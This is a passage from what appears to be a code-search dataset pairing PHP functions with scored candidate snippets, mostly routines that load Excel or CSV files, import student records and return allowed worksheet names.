break;\n }\n }\n\n for ($i = 1; $i <= $xls->sheets[0]['numRows']; $i++) {\n\n //STUDENT_SCHOOL_ID\n $STUDENT_SCHOOL_ID = isset($xls->sheets[0]['cells'][$i + 2][$Col_STUDENT_SCHOOL_ID]) ? $xls->sheets[0]['cells'][$i + 2][$Col_STUDENT_SCHOOL_ID] : \"\";\n //FIRSTNAME\n\n $FIRSTNAME = isset($xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME]) ? $xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME] : \"\";\n //LASTNAME\n\n $LASTNAME = isset($xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME]) ? $xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME] : \"\";\n //GENDER\n\n $FIRSTNAME_LATIN = isset($xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME_LATIN]) ? $xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME_LATIN] : \"\";\n //LASTNAME\n\n $LASTNAME_LATIN = isset($xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME_LATIN]) ? $xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME_LATIN] : \"\";\n //GENDER\n\n $GENDER = isset($xls->sheets[0]['cells'][$i + 2][$Col_GENDER]) ? $xls->sheets[0]['cells'][$i + 2][$Col_GENDER] : \"\";\n //ACADEMIC_TYPE\n\n $ACADEMIC_TYPE = isset($xls->sheets[0]['cells'][$i + 2][$Col_ACADEMIC_TYPE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_ACADEMIC_TYPE] : \"\";\n //DATE_BIRTH\n\n $DATE_BIRTH = isset($xls->sheets[0]['cells'][$i + 2][$Col_DATE_BIRTH]) ? $xls->sheets[0]['cells'][$i + 2][$Col_DATE_BIRTH] : \"\";\n //BIRTH_PLACE\n\n $BIRTH_PLACE = isset($xls->sheets[0]['cells'][$i + 2][$Col_BIRTH_PLACE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_BIRTH_PLACE] : \"\";\n //EMAIL\n\n $EMAIL = isset($xls->sheets[0]['cells'][$i + 2][$Col_EMAIL]) ? $xls->sheets[0]['cells'][$i + 2][$Col_EMAIL] : \"\";\n //PHONE\n\n $PHONE = isset($xls->sheets[0]['cells'][$i + 2][$Col_PHONE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_PHONE] : \"\";\n //ADDRESS\n\n $ADDRESS = isset($xls->sheets[0]['cells'][$i + 2][$Col_ADDRESS]) ? $xls->sheets[0]['cells'][$i + 2][$Col_ADDRESS] : \"\";\n //COUNTRY\n\n $COUNTRY = isset($xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY]) ? $xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY] : \"\";\n //COUNTRY_PROVINCE\n\n $COUNTRY_PROVINCE = isset($xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY_PROVINCE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY_PROVINCE] : \"\";\n //TOWN_CITY\n\n $TOWN_CITY = isset($xls->sheets[0]['cells'][$i + 2][$Col_TOWN_CITY]) ? $xls->sheets[0]['cells'][$i + 2][$Col_TOWN_CITY] : \"\";\n //POSTCODE_ZIPCODE\n\n $POSTCODE_ZIPCODE = isset($xls->sheets[0]['cells'][$i + 2][$Col_POSTCODE_ZIPCODE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_POSTCODE_ZIPCODE] : \"\";\n //error_log($STUDENT_SCHOOL_ID.\" ### LASTNAME: \".$LASTNAME.\" FIRSTNAME:\".$FIRSTNAME);\n\n $IMPORT_DATA['ID'] = generateGuid();\n $IMPORT_DATA['CODE'] = createCode();\n $IMPORT_DATA['ACADEMIC_TYPE'] = addText($ACADEMIC_TYPE);\n\n switch (UserAuth::systemLanguage()) {\n case \"VIETNAMESE\":\n $IMPORT_DATA['FIRSTNAME'] = setImportChartset($FIRSTNAME);\n $IMPORT_DATA['LASTNAME'] = setImportChartset($LASTNAME);\n $IMPORT_DATA['FIRSTNAME_LATIN'] = setImportChartset($FIRSTNAME_LATIN);\n $IMPORT_DATA['LASTNAME_LATIN'] = setImportChartset($LASTNAME_LATIN);\n break;\n default:\n $IMPORT_DATA['FIRSTNAME'] = addText($FIRSTNAME);\n $IMPORT_DATA['LASTNAME'] = addText($LASTNAME);\n $IMPORT_DATA['FIRSTNAME_LATIN'] = setImportChartset($FIRSTNAME_LATIN);\n $IMPORT_DATA['LASTNAME_LATIN'] = setImportChartset($LASTNAME_LATIN);\n break;\n }\n\n $IMPORT_DATA['GENDER'] = addText($GENDER);\n $IMPORT_DATA['BIRTH_PLACE'] = setImportChartset($BIRTH_PLACE);\n $IMPORT_DATA['EMAIL'] = setImportChartset($EMAIL);\n $IMPORT_DATA['PHONE'] = setImportChartset($PHONE);\n $IMPORT_DATA['ADDRESS'] = setImportChartset($ADDRESS);\n $IMPORT_DATA['COUNTRY'] = setImportChartset($COUNTRY);\n $IMPORT_DATA['COUNTRY_PROVINCE'] = setImportChartset($COUNTRY_PROVINCE);\n $IMPORT_DATA['TOWN_CITY'] = setImportChartset($TOWN_CITY);\n $IMPORT_DATA['POSTCODE_ZIPCODE'] = setImportChartset($POSTCODE_ZIPCODE);\n $IMPORT_DATA['STUDENT_SCHOOL_ID'] = setImportChartset($STUDENT_SCHOOL_ID);\n\n if (isset($DATE_BIRTH)) {\n if ($DATE_BIRTH != \"\") {\n $date = str_replace(\"/\", \".\", $DATE_BIRTH);\n if ($date) {\n $explode = explode(\".\", $date);\n $d = isset($explode[0]) ? trim($explode[0]) : \"00\";\n $m = isset($explode[1]) ? trim($explode[1]) : \"00\";\n $y = isset($explode[2]) ? trim($explode[2]) : \"0000\";\n $IMPORT_DATA['DATE_BIRTH'] = $y . \"-\" . $m . \"-\" . $d;\n } else {\n $IMPORT_DATA['DATE_BIRTH'] = \"0000-00-00\";\n }\n }\n } else {\n $IMPORT_DATA['DATE_BIRTH'] = \"0000-00-00\";\n }\n\n $IMPORT_DATA['EDUCATION_SYSTEM'] = $educationSystem;\n //error_log($objectId);\n if ($objectId)\n $IMPORT_DATA['CAMPUS'] = $objectId;\n\n if ($trainingId)\n $IMPORT_DATA['TRAINING'] = $trainingId;\n //$veansa\n if ($type)\n $IMPORT_DATA['TYPE'] = $type;\n //\n \n if ($objectType)\n $IMPORT_DATA['TARGET'] = $objectType;\n \n if ($dates) {\n $IMPORT_DATA['CREATED_DATE'] = setDatetimeFormat($dates);\n } else {\n $IMPORT_DATA['CREATED_DATE'] = getCurrentDBDateTime();\n }\n\n $IMPORT_DATA['CREATED_BY'] = Zend_Registry::get('USER')->CODE;\n if (isset($STUDENT_SCHOOL_ID) && isset($FIRSTNAME) && isset($LASTNAME)) {\n if ($STUDENT_SCHOOL_ID && $FIRSTNAME && $LASTNAME) {\n if (!$this->checkSchoolcodeInTemp($STUDENT_SCHOOL_ID)) {\n self::dbAccess()->insert('t_student_temp', $IMPORT_DATA);\n }\n }\n }\n }\n }", "public function getFilepath()\n {\n return $this->filepath;\n }", "public function getFile()\n {\n if(Input::hasfile('report')){\n \n $files=Input::file('report');\n $file=fopen($files,\"r\");\n \n // dd($file);\n while(($data=fgetcsv($file, 10000,\",\")) !== FALSE)\n {\n // $filename = $this->doSomethingLikeUpload($file);\n \n // Return it's location\n //return $filename;\n foreach($data as $dat){\n $result=BdtdcLanguage::create(array(\n 'name'=>$dat[0]\n ));\n }\n dd($result->toArray());\n }\n \n \n }\n }", "function cares_spreadsheet_importer_get_plugin_base_uri(){\n\treturn plugin_dir_url( __FILE__ );\n}", "public function getFilePath(): string;", "public function getFilePath(): string;", "public function current() {\n return file_get_contents ( $this->_iterableFiles [$this->_position] ['tmpFile'] );\n }", "public static function file() {\r\n\t\treturn __FILE__;\r\n\t}", "function fileGetContents($filename);", "public function run()\n {\n Excel::import(new Countries, base_path('public/countries.xls'));\n }", "abstract public function read($path);", "public function excel()\n { \n return Excel::download(new ReporteGraduados, 'graduado.xlsx');\n }", "public static function loadFile( $file ) {\n $filetype = wp_check_filetype( basename( $file ), null );\n $csv = $filetype['type'] == 'text/csv' ? true : false;\n if( $csv ) {\n $inputFileType = 'CSV';\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $phpExcel = $objReader->load($file);\n } else {\n $phpExcel = PHPExcel_IOFactory::load( $file );\n }\n $worksheet = $phpExcel->getActiveSheet();\n return $worksheet;\n }", "public function create_php_excel($xls_file_name)\r\n {\r\n $php_excel_reader = new PHPExcel_Reader_Excel2007();\r\n \r\n if (!$php_excel_reader->canRead($xls_file_name))\r\n {\r\n $php_excel_reader = new PHPExcel_Reader_Excel5();\r\n if (!$php_excel_reader->canRead($xls_file_name))\r\n {\r\n die('Excel not existed');\r\n return ;\r\n }\r\n }\r\n \r\n $php_excel = $php_excel_reader->load($xls_file_name);\r\n return $php_excel;\r\n }", "private function onLoadExcel( $excelFileName )\n\t{\n\t\tif ( ! file_exists( $excelFileName ) )\n\t\t{\n\t\t\techo $excelFileName.\" File is not exists!\";\n\t\t\texit;\n\t\t}\n\t\t$objReader = PHPExcel_IOFactory::createReader( 'Excel5' );\n\t\t$this->objPHPExcel = $objReader->load( $excelFileName );\n\t}", "private function excelFormulaSimulation(){\n\n if ( $this->generateFileDebug ){\n $temporaryPath = storage_path('app/excel-formula/');\n if ( !is_dir($temporaryPath) )\n @mkdir($temporaryPath);\n\n // check once again\n if ( !is_dir($temporaryPath) )\n throw new \\Exception(\"Cannot create temporary path for working file @ $temporaryPath\", 500);\n }\n\n $spreadSheet = new Spreadsheet();\n $sheet = $spreadSheet->getActiveSheet();\n foreach ($this->translatedValues as $value){\n $sheet->setCellValue($value['excelCoordinates'], $value['value']);\n }\n // set the formula on row 2\n $sheet->setCellValue(\"A2\", $this->excelFormula);\n\n // get calculated value\n $value = $sheet->getCell('A2')->getCalculatedValue();\n\n if ( $this->generateFileDebug ){\n $filePath = self::generateFilePath($temporaryPath, 'xlsx');\n $writer = new Xlsx($spreadSheet);\n $writer->save($filePath);\n }\n\n return $value;\n }", "private function getCsvData($file_name, $sheet_name = null){//This function is not used\n $objReader = PHPExcel_IOFactory::createReaderForFile($file_name);\n //If specific Sheet is specified then sheet is selected\n if($sheet_name != null){\n $objReader->setLoadSheetsOnly(array($sheet_name));\n }\n $objReader->setReadDataOnly(true);\n \n $objPHPExcel = $objReader->load($file_name);\n \n //Getting the number of rows and columns\n $highestColumm = $objPHPExcel->setActiveSheetIndex(0)->getHighestColumn();\n $highestRow = $objPHPExcel->setActiveSheetIndex(0)->getHighestRow();\n \n \n $fileInfo = array();\n $rowCount = 0;\n \n \n foreach ($objPHPExcel->setActiveSheetIndex(0)->getRowIterator() as $row) {\n $cellIterator = $row->getCellIterator();\n $cellIterator->setIterateOnlyExistingCells(false);\n \n $row = array();\n $columnCount = 0;\n foreach ($cellIterator as $cell) {\n if (!is_null($cell)) {\n \n //This is converting the second column to Date Format\n //TODO:: Make sure date format anywhere is captured properly and not just the second column\n if (($columnCount == 0) && ($rowCount > 0)){\n $value = $cell->getValue();\n $value = date($format = \"Y-m-d\", PHPExcel_Shared_Date::ExcelToPHP($value)); \n \n }else{\n $value = $cell->getCalculatedValue(); \n if(PHPExcel_Shared_Date::isDateTime($cell)) {\n $value = $cell->getValue(); \n $value = date($format = \"Y-m-d\", PHPExcel_Shared_Date::ExcelToPHP($value)); \n }\n }\n \n array_push($row, $value);\n $columnCount++;\n \n }\n }\n /* for debugging or adding css */\n /*if ($rowCount > 15) {\n break;\n }*/\n if ($rowCount > 0)\n {\n //$this->setCsvData($row); \n array_push($fileInfo, $row);\n //print_r($row);\n }else{\n array_push($fileInfo, $row);\n }\n unset($row);\n //array_push($fileInfo, $row);\n $rowCount++;\n }\n\n return $fileInfo;\n }", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}" ]
[ "0.6406192", "0.61857677", "0.597471", "0.59089553", "0.5903269", "0.58860177", "0.58546567", "0.57852834", "0.57716215", "0.5733113", "0.5674389", "0.55960643", "0.5569818", "0.5534906", "0.55305296", "0.5490541", "0.5483453", "0.5469372", "0.5468095", "0.5458842", "0.54111886", "0.54111886", "0.54111886", "0.54111886", "0.54083747", "0.5398262", "0.53853226", "0.53571993", "0.53556526", "0.53405637", "0.5336637", "0.5315652", "0.5279646", "0.52568644", "0.5235785", "0.5231863", "0.51909536", "0.5189206", "0.51861966", "0.51823384", "0.5175583", "0.51468813", "0.51428753", "0.51412976", "0.51407236", "0.51384133", "0.51368684", "0.5122679", "0.51222634", "0.5118518", "0.51141435", "0.50948095", "0.50894225", "0.5087087", "0.5073945", "0.5066164", "0.5056281", "0.5055268", "0.50450534", "0.50411606", "0.5033602", "0.50323516", "0.5026438", "0.5020082", "0.50046873", "0.50045544", "0.50043356", "0.50023144", "0.5002029", "0.49970233", "0.4992317", "0.49903116", "0.49838743", "0.4976723", "0.49680653", "0.49658194", "0.4959892", "0.49551544", "0.49550405", "0.4937586", "0.49366352", "0.49365687", "0.49337247", "0.49287707", "0.49263254", "0.4921915", "0.49173307", "0.49173307", "0.4908732", "0.49083972", "0.48982877", "0.48964575", "0.4895989", "0.48927352", "0.48817196", "0.4877404", "0.48769838", "0.4876546", "0.48727837", "0.48715404" ]
0.68828404
0
/ ==================================== WDT FILTERS DETAILS ==================================== Allowed Sheet names
public static function wdtAllowSheetNames() { return [ 'Skilling South Australia', 'Regions', 'Retention', 'Recruitment', 'Migration', 'Skill demand', 'Skills shortages', 'Plans & projects', 'Actions & strategies', 'Industries', 'Age-Gen-Educ-Employ', 'Employment_timeseries', 'Training activity_FoE', 'Training activity_TP', 'Qual completions', // TODO more imports ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "abstract public function getFilterName();", "public function testGetSheetsFunction(): void\n {\n $exp_sheets = array(\n 'First Sheet',\n 'Second Sheet',\n 'Third Sheet'\n );\n $sheet_name_list = array();\n foreach ($this->reader->getSheets() as $worksheet) {\n $sheet_name_list[] = $worksheet->getName();\n }\n self::assertSame($exp_sheets, $sheet_name_list, 'Sheet list differs');\n }", "function rawpheno_change_sheet(&$xls_obj, $tab_name) {\n // Get all the sheets in the workbook.\n $xls_sheets = $xls_obj->Sheets();\n\n // Locate the measurements sheet.\n foreach($xls_sheets as $sheet_key => $sheet_value) {\n $xls_obj->ChangeSheet($sheet_key);\n\n // Only process the measurements worksheet.\n if (rawpheno_function_delformat($sheet_value) == 'measurements') {\n return TRUE;\n }\n }\n\n return FALSE;\n}", "public function access_rules_for_case_studies(){\n\t\t$rules_arr = array();\n\t\t$rules_arr[] = array('rule_code'=>'','rule_name'=>\"All registered members\",'is_default'=>1);\n\t\t$rules_arr[] = array('rule_code'=>'only_my_firm','rule_name'=>\"Only the members of my firm\",'is_default'=>0);\n\t\t$rules_arr[] = array('rule_code'=>'my_firm_and_data_provider','rule_name'=>\"The members of my firm and data providers/journalists\",'is_default'=>0);\n\t\t\n\t\treturn $rules_arr;\n\t}", "private function filters() {\n\n\n\t}", "protected function get_tabs_for_filter_dialog() {\n\t\treturn array();\n\t}", "public function sheets(): array\n {\n return [\n 0 => new CustomersImport(),\n 1 => new SalesImport(),\n 2 => new ProductsImport(),\n 3 => new EmployeeImport()\n ];\n }", "public function getSheetNames( $onlyGetWorksheets = true ) {\n\n $names = array();\n\n foreach ( $this->getSheetAttributes() as $attribute ) {\n\n if ( isset( $attribute->name ) && ( $attribute->typeSlug == 'worksheet' || $onlyGetWorksheets == false ) )\n $names[] = $attribute->name;\n }\n\n return $names;\n }", "function xh_listFilters()\r\n\t{\r\n\t}", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "function xh_fetchFilter($filter_name)\r\n\t{\r\n\t}", "private function writeNamedRangeForAutofilter(ActualWorksheet $worksheet, int $worksheetId = 0): void\n {\n // NamedRange for autoFilter\n $autoFilterRange = $worksheet->getAutoFilter()->getRange();\n if (!empty($autoFilterRange)) {\n $this->objWriter->startElement('definedName');\n $this->objWriter->writeAttribute('name', '_xlnm._FilterDatabase');\n $this->objWriter->writeAttribute('localSheetId', \"$worksheetId\");\n $this->objWriter->writeAttribute('hidden', '1');\n\n // Create absolute coordinate and write as raw text\n $range = Coordinate::splitRange($autoFilterRange);\n $range = $range[0];\n // Strip any worksheet ref so we can make the cell ref absolute\n [, $range[0]] = ActualWorksheet::extractSheetTitle($range[0], true);\n\n $range[0] = Coordinate::absoluteCoordinate($range[0]);\n if (count($range) > 1) {\n $range[1] = Coordinate::absoluteCoordinate($range[1]);\n }\n $range = implode(':', $range);\n\n $this->objWriter->writeRawData('\\'' . str_replace(\"'\", \"''\", $worksheet->getTitle()) . '\\'!' . $range);\n\n $this->objWriter->endElement();\n }\n }", "function test_names($data){\n\tif (!preg_match(\"/^[a-zA-Z-' ]*$/\",$data)) {\n \t\treturn \"Only letters and white space allowed\";\n\t}\n\treturn $data;\n}", "private static function _getFilter() {}", "abstract protected function getFilters();", "public function filters()\n {\n return [\n 'name' => 'trim|capitalize|escape'\n ];\n }", "function ShowFilterList() {\n\t\tglobal $dealers_reports;\n\t\tglobal $ReportLanguage;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\n\t\t// Field StartDate\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($dealers_reports->StartDate, $sExtWrk, $dealers_reports->StartDate->DateFilter);\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $dealers_reports->StartDate->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Show Filters\n\t\tif ($sFilterList <> \"\")\n\t\t\techo $ReportLanguage->Phrase(\"CurrentFilters\") . \"<br>$sFilterList\";\n\t}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "private function checkValidSheetName($sheetName) {\n\t\t$index = substr($sheetName, 0, 2);\n\t\tif (is_numeric($index)) \n\t\t\treturn $index;\n\t\telse\n\t\t\treturn false;\n\t}", "private function getTabsThatUseAssignmentFilters() {\n $result = array();\n\n $assignment_filter_tabs = DB::execute(\"SELECT id, raw_additional_properties FROM \" . TABLE_PREFIX . \"homescreen_tabs WHERE type = 'AssignmentFiltersHomescreenTab'\");\n if($assignment_filter_tabs) {\n foreach($assignment_filter_tabs as $assignment_filter_tab) {\n $tab_properties = $assignment_filter_tab['raw_additional_properties'] ? unserialize($assignment_filter_tab['raw_additional_properties']) : null;\n\n $tab_filter_id = $tab_properties && isset($tab_properties['assignment_filter_id']) && $tab_properties['assignment_filter_id'] ? (integer) $tab_properties['assignment_filter_id'] : 0;\n\n if($tab_filter_id) {\n if(array_key_exists($tab_filter_id, $result)) {\n $result[$tab_filter_id][] = (integer) $assignment_filter_tab['id'];\n } else {\n $result[$tab_filter_id] = array((integer) $assignment_filter_tab['id']);\n } // if\n } // if\n } // foreach\n } // if\n\n return $result;\n }", "function acf_enable_filter($name = '')\n{\n}", "public function allowedFilters()\n {\n return [];\n }", "public function getAllowSpecific();", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "function acf_is_filter_enabled($name = '')\n{\n}", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "private function get_filterTitle()\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Get TS filter configuration\n //$conf_name = $this->conf_view['filter.'][$table . '.'][$field];\n $conf_array = $this->conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ];\n\n\n\n /////////////////////////////////////////////////////\n //\n // RETURN no title_stdWrap\n\n if ( !is_array( $conf_array[ 'wrap.' ][ 'title_stdWrap.' ] ) )\n {\n if ( $this->pObj->b_drs_filter )\n {\n $prompt = 'There is no title_stdWrap. The object won\\'t get a title.';\n t3lib_div :: devLog( '[INFO/FILTER] ' . $prompt, $this->pObj->extKey, 0 );\n $prompt = 'If you want a title, please configure ' .\n $this->conf_path . $this->curr_tableField . '.wrap.title_stdWrap.';\n t3lib_div :: devLog( '[HELP/FILTER] ' . $prompt, $this->pObj->extKey, 1 );\n }\n return null;\n }\n // RETURN no title_stdWrap\n /////////////////////////////////////////////////////\n //\n // Get the local or global autoconfig array\n // Get the local autoconfig array\n $lAutoconf = $this->conf_view[ 'autoconfig.' ];\n $lAutoconfPath = $this->conf_path;\n if ( !is_array( $lAutoconf ) )\n {\n if ( $this->pObj->b_drs_sql )\n {\n t3lib_div :: devlog( '[INFO/SQL] ' . $this->conf_path . ' hasn\\'t any autoconf array.<br />\n We take the global one.', $this->pObj->extKey, 0 );\n }\n // Get the global autoconfig array\n $lAutoconf = $this->conf[ 'autoconfig.' ];\n $lAutoconfPath = null;\n }\n // Get the local or global autoconfig array\n // Don't replace markers recursive\n if ( !$lAutoconf[ 'marker.' ][ 'typoScript.' ][ 'replacement' ] )\n {\n // DRS\n if ( $this->pObj->b_drs_filter )\n {\n $prompt = 'Replacement for markers in TypoScript is deactivated.';\n t3lib_div :: devLog( '[INFO/FILTER] ' . $prompt, $this->pObj->extKey, 0 );\n $prompt = 'If you want a replacement, please configure ' .\n $lAutoconfPath . 'autoconfig.marker.typoScript.replacement.';\n t3lib_div :: devLog( '[HELP/FILTER] ' . $prompt, $this->pObj->extKey, 1 );\n }\n // DRS\n }\n // Don't replace markers recursive\n /////////////////////////////////////////////////////\n //\n // Wrap the title\n // Get the title\n $title_stdWrap = $conf_array[ 'wrap.' ][ 'title_stdWrap.' ];\n\n // Replace ###TABLE.FIELD### recursive\n $value_marker = $this->pObj->objZz->getTableFieldLL( $this->curr_tableField );\n if ( $lAutoconf[ 'marker.' ][ 'typoScript.' ][ 'replacement' ] )\n {\n $key_marker = '###TABLE.FIELD###';\n $markerArray[ $key_marker ] = $value_marker;\n $key_marker = '###' . strtoupper( $this->curr_tableField ) . '###';\n $markerArray[ $key_marker ] = $value_marker;\n // #44316, 130104, dwildt, 1-\n //$title_stdWrap = $this->pObj->objMarker->substitute_marker_recurs( $title_stdWrap, $markerArray );\n // #44316, 130104, dwildt, 4+\n $currElements = $this->pObj->elements;\n// $this->pObj->elements = ( array ) $this->pObj->elements + $markerArray;\n $this->pObj->elements = $markerArray;\n $title_stdWrap = $this->pObj->objMarker->substitute_tablefield_marker( $title_stdWrap );\n $this->pObj->elements = $currElements;\n // DRS\n if ( $this->pObj->b_drs_filter )\n {\n $prompt = $key_marker . ' will replaced with the localised value of ' .\n '\\'' . $this->curr_tableField . '\\': \\'' . $value_marker . '\\'.';\n t3lib_div :: devLog( '[INFO/FILTER] ' . $prompt, $this->pObj->extKey, 0 );\n $prompt = 'If you want another replacement, please configure ' .\n $this->conf_view_path . $this->curr_tableField . '.wrap.title_stdWrap';\n t3lib_div :: devLog( '[HELP/FILTER] ' . $prompt, $this->pObj->extKey, 1 );\n }\n // DRS\n }\n // Replace ###TABLE.FIELD### recursive\n // stdWrap the title\n $title = $this->pObj->local_cObj->stdWrap( $value_marker, $title_stdWrap );\n\n // RETURN the title\n return $title;\n }", "public function filters() {\n\t\treturn array(\n\t\t 'name' => array(array('trim')),\n\t\t);\n\t}", "public function filtersExist();", "function get_required_filters($execution_mode) {\n //nothing is required by default, implement in report instance\n return array();\n }", "public function getFilter(): string;", "private function getMimeTypes()\n {\n return apply_filters('wplms_assignments_upload_mimes_array',array(\n 'JPG' => array(\n 'image/jpeg',\n 'image/jpg',\n 'image/jp_',\n 'application/jpg',\n 'application/x-jpg',\n 'image/pjpeg',\n 'image/pipeg',\n 'image/vnd.swiftview-jpeg',\n 'image/x-xbitmap'),\n 'GIF' => array(\n 'image/gif',\n 'image/x-xbitmap',\n 'image/gi_'),\n 'PNG' => array(\n 'image/png',\n 'application/png',\n 'application/x-png'),\n 'DOCX'=> 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'RAR'=> 'application/x-rar',\n 'ZIP' => array(\n 'application/zip',\n 'application/x-zip',\n 'application/x-zip-compressed',\n 'application/x-compress',\n 'application/x-compressed',\n 'multipart/x-zip'),\n 'DOC' => array(\n 'application/msword',\n 'application/doc',\n 'application/text',\n 'application/vnd.msword',\n 'application/vnd.ms-word',\n 'application/winword',\n 'application/word',\n 'application/x-msw6',\n 'application/x-msword'),\n 'PDF' => array(\n 'application/pdf',\n 'application/x-pdf',\n 'application/acrobat',\n 'applications/vnd.pdf',\n 'text/pdf',\n 'text/x-pdf'),\n 'PPT' => array(\n 'application/vnd.ms-powerpoint',\n 'application/mspowerpoint',\n 'application/ms-powerpoint',\n 'application/mspowerpnt',\n 'application/vnd-mspowerpoint',\n 'application/powerpoint',\n 'application/x-powerpoint',\n 'application/x-m'),\n 'PPTX'=> 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'PPS' => 'application/vnd.ms-powerpoint',\n 'PPSX'=> 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'PSD' => array('application/octet-stream',\n 'image/vnd.adobe.photoshop'\n ),\n 'ODT' => array(\n 'application/vnd.oasis.opendocument.text',\n 'application/x-vnd.oasis.opendocument.text'),\n 'XLS' => array(\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/vnd.ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls'),\n 'XLSX'=> array('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'application/vnd.ms-excel'),\n 'MP3' => array(\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'audio/mp3',\n 'audio/x-mp3',\n 'audio/mpeg3',\n 'audio/x-mpeg3',\n 'audio/mpg',\n 'audio/x-mpg',\n 'audio/x-mpegaudio'),\n 'M4A' => array(\n 'audio/mp4a-latm',\n 'audio/m4a',\n 'audio/mp4'),\n 'OGG' => array(\n 'audio/ogg',\n 'application/ogg'),\n 'WAV' => array(\n 'audio/wav',\n 'audio/x-wav',\n 'audio/wave',\n 'audio/x-pn-wav'),\n 'WMA' => 'audio/x-ms-wma',\n 'MP4' => array(\n 'video/mp4v-es',\n 'audio/mp4',\n 'video/mp4'),\n 'M4V' => array(\n 'video/mp4',\n 'video/x-m4v'),\n 'MOV' => array(\n 'video/quicktime',\n 'video/x-quicktime',\n 'image/mov',\n 'audio/aiff',\n 'audio/x-midi',\n 'audio/x-wav',\n 'video/avi'),\n 'WMV' => 'video/x-ms-wmv',\n 'AVI' => array(\n 'video/avi',\n 'video/msvideo',\n 'video/x-msvideo',\n 'image/avi',\n 'video/xmpg2',\n 'application/x-troff-msvideo',\n 'audio/aiff',\n 'audio/avi'),\n 'MPG' => array(\n 'video/avi',\n 'video/mpeg',\n 'video/mpg',\n 'video/x-mpg',\n 'video/mpeg2',\n 'application/x-pn-mpg',\n 'video/x-mpeg',\n 'video/x-mpeg2a',\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'image/mpg'),\n 'OGV' => 'video/ogg',\n '3GP' => array(\n 'audio/3gpp',\n 'video/3gpp'),\n '3G2' => array(\n 'video/3gpp2',\n 'audio/3gpp2'),\n 'FLV' => 'video/x-flv',\n 'WEBM'=> 'video/webm',\n 'APK' => 'application/vnd.android.package-archive',\n ));\n }", "public function provideValidURISchemeNames()\n {\n $schemeList = $this->getWellformedURISchemes();\n $parameters = array();\n\n foreach ($schemeList as $scheme) {\n $parameters[] = array($scheme);\n }\n\n return $parameters;\n }", "public function filtering();", "function ShowFilterList() {\n\t\tglobal $deals_details;\n\t\tglobal $ReportLanguage;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\n\t\t// Field dealer\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->dealer, $sExtWrk, \"\");\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->dealer->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Field date_start\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->date_start, $sExtWrk, $deals_details->date_start->DateFilter);\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->date_start->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Field 